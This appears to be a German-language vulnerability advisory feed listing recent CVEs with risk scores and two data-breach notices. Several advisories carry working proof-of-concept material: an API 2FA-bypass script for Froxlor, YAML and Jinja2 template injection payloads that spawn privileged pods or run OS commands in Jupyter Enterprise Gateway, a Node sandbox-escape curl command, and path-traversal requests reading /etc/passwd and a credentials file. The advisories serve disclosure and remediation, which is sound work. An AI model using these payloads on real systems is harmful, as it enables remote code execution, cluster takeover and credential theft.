| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 7.5 / 10 GHSA-f9rx-7wf7-jr36 | vor 1 Stunde(n) | |
| ## Summary Froxlor's API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required. An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor. ## Affected Code **Web UI — 2FA enforced** (`index.php:82-149`): ```php if ($result['type_2fa'] != 0) { // Redirects to 2FA input page // Calls FroxlorTwoFactorAuth::verifyCode() // Login is NOT completed without valid TOTP code } ``` **API — 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`): ```php private static function validateAuth(string $key, string $secret): bool { $sel_stmt = Database::prepare(" SELECT ak.*, a.api_allowed as admin_api_allowed, c.api_allowed as cust_api_allowed, c.deactivated FROM `api_keys` ak LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid WHERE `apikey` = :ak AND `secret` = :as "); $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]); if ($result) { if ($result['apikey'] == $key && $result['secret'] == $secret && ($result['valid_until'] == -1 || $result['valid_until'] >= time()) && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1) || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1 && $result['deactivated'] == 0))) { // Checks: key match, secret match, not expired, API allowed, not deactivated // Missing: ANY check for type_2fa, TOTP verification, or 2FA status return true; } } throw new Exception('Invalid authorization credentials', 403); } ``` There are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory: ```bash $ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/ # (no output) ``` ## PoC ### Environment - Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4) - API enabled (`api.enabled=1`) - Admin account has 2FA enabled (`type_2fa=1`, TOTP configured) - Admin has an API key ### Step 1: Confirm 2FA blocks web UI login ``` POST /index.php HTTP/1.1 Host: panel.example.com Content-Type: application/x-www-form-urlencoded loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send ``` **Result:** Redirect to `index.php?showmessage=4` — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code. ### Step 2: Authenticate via API — no TOTP required ```bash curl -s -u "API_KEY:API_SECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"Customers.listing","params":{}}' \ https://panel.example.com/api.php ``` **Result:** HTTP 200 with full customer listing: ```json { "data": { "list": [ { "loginname": "testcust", "email": "test@froxlor.lab", "name": "Test", "firstname": "Customer" } ] } } ``` No TOTP code was provided. No 2FA prompt was returned. Full access granted. ### Step 3: Access additional sensitive resources All of these succeed without any 2FA challenge: ```bash # Domains curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php # FTP accounts (home directories, credentials) curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php # Email accounts curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php # MySQL databases curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php # SSL certificates (private keys) curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php # DNS records curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php ``` 165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.). ### Automated PoC Script ```python #!/usr/bin/env python3 """Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)""" import json, sys, requests, urllib3 urllib3.disable_warnings() target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3] r = requests.post(f"{target}/api.php", auth=(key, secret), json={"command": "Customers.listing", "params": {}}, verify=False) data = r.json() print(f"HTTP {r.status_code}") if "data" in data: for c in data["data"].get("list", []): print(f" {c['loginname']} | {c['email']}") print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.") ``` Usage: `python3 poc.py https://panel.example.com API_KEY API_SECRET` ## Impact When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation: - **Customer data**: PII (name, email, address) readable and modifiable - **Domains**: Full control over domains, subdomains, DNS records - **Email accounts**: Create, read, delete email accounts and forwarders - **FTP accounts**: Access home directory paths and credentials - **MySQL databases**: Full database management - **SSL certificates**: Read private keys, modify certificate bindings - **165 API functions**: Including all write operations API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected. ### Comparison with CVE-2023-3173 CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested. ## Suggested Fix Add 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter: ```php // lib/Froxlor/Api/FroxlorRPC.php, after line 100: // Check 2FA if enabled for this user if (!empty($result['adminid'])) { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"), ['id' => $result['adminid']] ); } else { $user = Database::pexecute_first( Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"), ['id' => $result['customerid']] ); } if ($user && $user['type_2fa'] != 0) { // Require X-2FA-Code header or 'totp_code' in request body $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null; if (empty($totp_code)) { throw new Exception('2FA code required', 401); } $tfa = new FroxlorTwoFactorAuth($user['data_2fa']); if (!$tfa->verifyCode($totp_code)) { throw new Exception('Invalid 2FA code', 403); } } ``` Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys. | ||
| Risiko 9.5 / 10 CVE-2026-44182 | vor 2 Stunde(n) | |
| ### Summary The environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources. ### Details The server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods. The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC These proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used. By default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart. Using `ducaale/xh`: ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml ``` `env-working-dir-exploit.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } ``` Resulting request: ``` POST /api/kernels HTTP/1.1 Accept: application/json, */*;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Connection: keep-alive Content-Length: 233 Content-Type: application/json Host: localhost:31529 User-Agent: xh/0.24.0 { "env": { "KERNEL_POD_NAME": "working-dir-root", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \"" } } ``` Curl equivalent command: ```bash curl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{"env":{"KERNEL_POD_NAME":"working-dir-root","KERNEL_NAMESPACE":"notebooks","KERNEL_WORKING_DIR":"\"/tmp\\\"\\n\\n# INJECTION\\n securityContext:\\n runAsUser: 0\\n runAsGroup: 0\\n fsGroup: 100\\n# HAHA - stray quote \""}}' ``` The rendered Jinja2 template: ```yaml # This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes. # Substitution parameters are processed by the launch_kubernetes.py code located in the # same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be # provided by the client. # # This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_ # values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required # to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced. # apiVersion: v1 kind: Pod metadata: name: "working-dir-root" namespace: "notebooks" labels: kernel_id: "186f4ecf-bf90-40b8-b210-a0987bfce927" app: enterprise-gateway component: kernel source: kernel-pod.yaml annotations: cluster-autoscaler.kubernetes.io/safe-to-evict: "false" spec: restartPolicy: Never serviceAccountName: "default" # NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled. # WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate # will result in the new kernel pod's effective group of 0 (root)! although the user will # correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate # should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so # that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the # "kernel_uid" and "kernel_gid" values. securityContext: runAsUser: 1000 runAsGroup: 100 fsGroup: 100 containers: - image: "elyra/kernel-py:3.2.3" name: "working-dir-root" env: # Add any custom envs here that aren't already configured for the kernel's environment # - name: MY_CUSTOM_ENV # value: "my_custom_value" workingDir: "/tmp" # INJECTION securityContext: runAsUser: 0 runAsGroup: 0 fsGroup: 100 # HAHA - stray quote " volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` Normally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`. This injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`). The processing of the YAML results in the duplicate key clobbering the original. Making the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`. In addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field. #### Injecting a Pod By injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources. ```bash xh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml ``` `env-working-dir-exploit-pod.yaml`: ```json { "KERNEL_POD_NAME": "working-dir-root-pod", "KERNEL_NAMESPACE": "notebooks", "KERNEL_WORKING_DIR": "\"/tmp\\\"\\n\\n# INJECTION\\n...\\n---\\napiVersion: v1\\nkind: Pod\\nmetadata:\\n name: injected-pod\\n\\\n spec:\\n containers:\\n - name: injected-container\\n image: nginx\\n ports:\\n - containerPort: 80\\n securityContext:\\n privileged: true\\n runAsUser: 0\\n runAsGroup: 0\\n...\\n# HAHA - stray quote\"" } ``` This is rendered as (skipping the beginning of the rendering before the inject): ```yaml workingDir: "/tmp" # INJECTION ... --- apiVersion: v1 kind: Pod metadata: name: injected-pod spec: containers: - name: injected-container image: nginx ports: - containerPort: 80 securityContext: privileged: true runAsUser: 0 runAsGroup: 0 ... # HAHA - stray quote" volumeMounts: # Define any "unconditional" mounts here, followed by "conditional" mounts that vary per client volumes: # Define any "unconditional" volumes here, followed by "conditional" volumes that vary per client ``` `kubectl get pods -n notebooks` ``` NAME READY STATUS RESTARTS AGE injected-pod 1/1 Running 0 4s working-dir-root-pod 1/1 Running 0 4s ``` The `injected-pod` has been created in addition to the `working-dir-root-pod`. `kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`: ```json { "privileged": true, "runAsGroup": 0, "runAsUser": 0 } ``` ### Impact An attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created. Arbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created. Repeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system. | ||
| Risiko 9.5 / 10 CVE-2026-44181 | vor 2 Stunde(n) | |
| ### Summary The environment variables (`KERNEL_XXX`) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a `hostPath` volume mount. ### Details The `KERNEL_POD_NAME` variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247 The Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, in addition to `kernel_pod_name` discussed above, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77 These values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137 ### PoC #### Simple demonstration of SSTI using `{{7 * 7}}` ```bash curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}' ``` ```json {"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0} ``` Running `kubectl get pods` ``` NAME READY STATUS RESTARTS AGE bdawg-49 1/1 Running 0 3m54s ``` #### Remote code execution - OS Commands via SSTI ```bash curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}' ``` ```json {"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07 ``` ``` NAME READY STATUS RESTARTS AGE bdawg-enterprise-gateway-8695685bc8-klm4m 1/1 Running 0 2m25s ``` `enterprise-gateway-8695685bc8-klm4m` is the hostname of the Enterprise Gateway pod. #### Enterprise Gateway RBAC The Enterprise Gateway service account has R/W access to several resource kinds. Stolen Enterprise Gateway service account `kubectl auth can-i --list` ``` Resources Non-Resource URLs Resource Names Verbs selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] rolebindings.rbac.authorization.k8s.io [] [] [get list create delete] configmaps [] [] [get watch list create delete] namespaces [] [] [get watch list create delete] persistentvolumeclaims [] [] [get watch list create delete] persistentvolumes [] [] [get watch list create delete] pods [] [] [get watch list create delete] secrets [] [] [get watch list create delete] services [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] scheduledsparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io/status [] [] [get watch list create delete] sparkapplications.sparkoperator.k8s.io [] [] [get watch list create delete] [/.well-known/openid-configuration/] [] [get] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks/] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] ``` ### Impact This is a server side template injection that leads to remote code execution (python and OS commands). An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with `hostPath` mounts, which can be used to compromise the complete cluster and all workloads on it. | ||
| Risiko 7.5 / 10 CVE-2026-44609 | vor 3 Stunde(n) | |
| Local privilege escalation due to EXE hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-50033 | vor 3 Stunde(n) | |
| Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-44682 | vor 3 Stunde(n) | |
| Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko 7.5 / 10 CVE-2026-42061 | vor 3 Stunde(n) | |
| Local privilege escalation due to excessive permissions assigned to child processes. The following products are affected: Acronis DeviceLock DLP (Windows) before build 9.0.15051.93227. | ||
| Risiko ? / 10 CVE-2026-37700 | vor 3 Stunde(n) | |
| Cross Site Scripting vulnerability in MaxSite CMS v.109.2 allows a remote attacker to obtain sensitive information via the Backend page file upload endpoint used by admin_page | ||
| Risiko 2 / 10 CVE-2026-10766 | vor 3 Stunde(n) | |
| A vulnerability has been found in mlrun up to 1.12.0-rc3. This impacts the function mlrun.utils.helpers.calculate_dataframe_hash of the file mlrun/utils/helpers.py of the component DataFrame Hash Handler. The manipulation leads to use of weak hash. The attack can only be performed from a local environment. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit has been disclosed to the public and may be used. The pull request to fix this issue awaits acceptance. | ||
| Risiko ? / 10 CVE-2026-26824 | vor 3 Stunde(n) | |
| libxls through version 1.6.3 contains a use of uninitialized memory vulnerability in the OLE container parser. Memory allocated for the Master Sector Allocation Table (MSAT) in read_MSAT() is not fully initialized before being consumed by ole2_validate_sector_chain(), which may result in application crashes or potential information disclosure when processing a crafted XLS file | ||
| Risiko ? / 10 CVE-2026-26825 | vor 3 Stunde(n) | |
| A use-of-uninitialized memory vulnerability exists in libxls 1.6.3 when parsing malformed XLS files. The issue is reachable via xls_parseWorkBook() and is triggered by uninitialized heap memory originating from the OLE layer (ole2_read). The flaw is detectable with MemorySanitizer (MSAN) and can lead to undefined behavior, incorrect parsing logic, or potential information disclosure. | ||
| Risiko ? / 10 CVE-2026-8878 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension exposes multiple publicly accessible endpoints that allow unauthenticated access to sensitive data. The exposed information consists of SHA-1 hashes that are inadequately obfuscated using a simple Caesar cipher, which can be easily reversed to recover the original hash values and access the protected data. | ||
| Risiko ? / 10 CVE-2026-8876 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension contains hardcoded, plaintext AES passphrases in securly.min.js. These keys decrypt crisis alert keyword data and intervention site data. | ||
| Risiko ? / 10 CVE-2026-8881 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension uses EVP_BytesToKey key derivation with MD5 and a single iteration for AES encryption. MD5 has been broken since 2004 and a single iteration provides no key stretching. | ||
| Risiko ? / 10 CVE-2026-8879 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension dynamically registers content13.min.js as a content script via chrome.scripting.registerContentScripts() at runtime. This script is NOT declared in manifest.json and bypasses Chrome Web Store static security review. It runs on all URLs and immediately hides all page content, creates a full-page overlay, pauses all videos, and only restores content when the service worker confirms the page passes filtering. If Securly's servers are unreachable, pages remain indefinitely hidden. | ||
| Risiko ? / 10 CVE-2026-8888 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing. | ||
| Risiko ? / 10 CVE-2026-8889 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension uses deprecated SHA-1 hashing for IWF CSAM URL matching (25,020 hashes) and CIPA blocklist matching (12,352 hashes). | ||
| Risiko ? / 10 CVE-2026-8874 | vor 4 Stunde(n) | |
| Version 3.0.7 of the Securly Chrome Extension downloads JSON files containing crisis alert keywords and filtering rules over unencrypted HTTP via the Fetch API. Other endpoints in the same extension correctly fetch IWF and CIPA data over HTTPS, demonstrating an inconsistent implementation of TLS. | ||
| Risiko 5 / 10 CVE-2026-42840 | vor 4 Stunde(n) | |
| An authenticated user can persist arbitrary HTML/JavaScript in the email_id or mobile_no fields of a Customer record and trigger unescaped rendering in the Point of Sale (POS) interface for every operator who selects that customer. This issue affects ERPNext: 16.16.0. | ||
| Risiko 5 / 10 CVE-2026-42839 | vor 4 Stunde(n) | |
| An authenticated ERPNext user with Item record edit permissions can persist arbitrary HTML/JavaScript in the item_name, description, or image fields of an Item and trigger unescaped rendering in the Point of Sale (POS) cart interface for every operator who adds that item to a transaction.This issue affects ERPNext: 16.16.0. | ||
| Risiko 7.5 / 10 CVE-2026-7888 | vor 4 Stunde(n) | |
| Concrete CMS below 9.5.2 is vulnerable to PHP Object Injection via unserialize() calls in the Workflow, Form block, and File/Set components that lack the allowed_classes restriction. An unauthenticated attacker may trigger arbitrary PHP object instantiation if a malicious serialized payload has been placed in the database. Thanks XananasX7 and Sanjorn Keeratirungsan (dizconnect) for both independently reporting. The Concrete CMS security team gave this vulnerability a CVSS v.4.0 score of 8.4 with vector CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. | ||
| Risiko 7.5 / 10 CVE-2026-36609 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 uses a static authentication nonce that does not change between requests from the same source IP. Combined with the predictable XOR-based password encoding (securityEncode function), this allows an attacker to reverse captured authentication tokens to recover the plaintext password. | ||
| Risiko 7.5 / 10 CVE-2026-36611 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 with firmware AC12G(EU)_V1_200909 returns 128 bytes of uninitialized buffer when receiving POST requests without SOAPAction header on UPnP port 1900, exposing internal memory to unauthenticated adjacent network attackers. | ||
| Risiko 5 / 10 CVE-2026-36604 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 does not validate the HTTP Host header, enabling DNS rebinding attacks. An external attacker can rebind a domain to the router's internal IP address, extending the CORS wildcard vulnerability (Access-Control-Allow-Origin: *) to internet-originated attacks. | ||
| Risiko 7.5 / 10 CVE-2026-36606 | vor 5 Stunde(n) | |
| Mercusys AC12G (EU) V1 router with firmware AC12G(EU)_V1_200909 encrypts configuration backups with a hardcoded DES key using single DES in ECB mode. An attacker who obtains a backup file can decrypt it to recover all stored credentials including admin password, WiFi PSK, and DDNS credentials. | ||
| Risiko 7.5 / 10 CVE-2026-49143 | vor 1 Tag(en) | |
| ### Summary The HTTP handler `/_log` in `lib/server.js` (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system. ### Details When `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows: ```javascript // lib/server.js lines 504-510 var context = { input: query.arguments, format: util.format, output: '' }; var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }'; vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context); ``` The `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor("return process")()`. Unlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication. ### Proof of Concept ```bash # Terminal 1: start the runner echo 't' > t.html echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js # Terminal 2: exploit curl -s http://127.0.0.1:8888/_log \ -H "Content-Type: application/json" \ -d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}' # Terminal 1 output shows: # [undefined] uid=1000(user) gid=1000(user) ... ``` ### Impact An attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables. ### Remediation 1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler — use `JSON.stringify()` for safe logging 2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers) 3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0` ### Credit Christ Bowel Bouchuen | ||
| Risiko 7.5 / 10 CVE-2026-49144 | vor 1 Tag(en) | |
| ## Summary The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem. ## Root Cause **lib/server.js, lines 530–534 : `_default` handler:** ```javascript '_default': function defaultHandler(uri, body, request, response) { var filePath = path.join(process.cwd(), uri); handleFile(filePath, request, response); } ``` `uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file. **bin/cli.js, line 131 : server binding:** ```javascript server.listen(parseInt(config.test_server_port, 10)); ``` No hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces). **No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check. ## Steps to Reproduce ### Step 1 : Start the server (Terminal 1) ```bash cd browserstack-runner echo 'test' > _poc_test.html echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js ``` ### Step 2 : Read arbitrary files (Terminal 2) **Read /etc/hostname:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname" ``` **Read /etc/passwd:** ```bash curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd" ``` **Read the BrowserStack access key from config:** ```bash curl -s "http://127.0.0.1:8888/browserstack.json" ``` > **Note:** `--path-as-is` is required because curl normalizes `../` sequences > by default. Browsers and HTTP libraries that do not normalize URL paths > (or that allow raw path construction) can exploit this without special flags. ### Expected Result - `/etc/hostname` → server returns the machine hostname - `/etc/passwd` → server returns the full passwd file - `browserstack.json` → server returns the config including the BrowserStack access key ## Impact - **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext - **Source code theft** : all project files are readable - **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc. - **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker ## Suggested Fix 1. Validate the resolved path stays within the project root: ```javascript var filePath = path.resolve(process.cwd(), '.' + uri); if (!filePath.startsWith(process.cwd() + path.sep)) { sendError(response, 'Forbidden', 403); return; } ``` 2. Bind on `127.0.0.1` 3. Add authentication to the `_default` handler | ||
| Risiko 5 / 10 CVE-2026-47265 | vor 1 Tag(en) | |
| ### Summary Cookies set with the `cookies` parameter on requests are sent after following a cross-origin redirect. ### Impact If a developer uses the `cookies` parameter on a per-request basis then sensitive data might be leaked to an attacker if they manage to control a redirect. ### Workaround If unable to upgrade, using a `Cookie` header in the `headers` parameter is not vulnerable. ----- Patch: https://github.com/aio-libs/aiohttp/commit/f54c40851b0d6c4bbdab97ba518a223adda32478 | ||
| 30.05.2026 - Atlas Menu | 63.926 Datensätze geleaked | |
| Email addresses, IP addresses, Passwords, Support tickets, Usernames In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes. |
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| 23.05.2026 - Charter | 4.851.517 Datensätze geleaked | |
